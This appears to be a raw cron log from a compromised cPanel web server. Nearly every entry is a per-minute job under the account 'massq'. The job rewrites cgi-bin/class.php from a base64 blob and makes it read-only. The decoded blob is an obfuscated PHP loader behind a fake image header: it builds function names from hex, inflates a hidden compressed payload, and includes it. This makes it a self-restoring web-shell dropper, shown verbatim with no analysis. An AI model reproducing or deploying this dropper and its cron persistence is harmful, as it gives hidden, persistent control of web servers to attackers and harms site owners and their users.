Nov 13 22:05:01 server CROND[8136]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:06:01 server CROND[9278]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:07:01 server CROND[10154]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:08:01 server CROND[11164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:09:01 server CROND[12032]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:09:01 server CROND[12031]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 22:10:01 server CROND[12908]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:10:01 server CROND[12909]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 22:10:01 server CROND[12907]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 22:10:01 server CROND[12910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:11:02 server CROND[13755]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:12:01 server CROND[14609]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:12:01 server CROND[14610]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 22:13:01 server CROND[15235]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:14:01 server CROND[16131]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:15:01 server CROND[17004]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 22:15:01 server CROND[17005]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:15:01 server CROND[17003]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:15:01 server CROND[17006]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:16:01 server CROND[17947]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:17:01 server CROND[18862]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
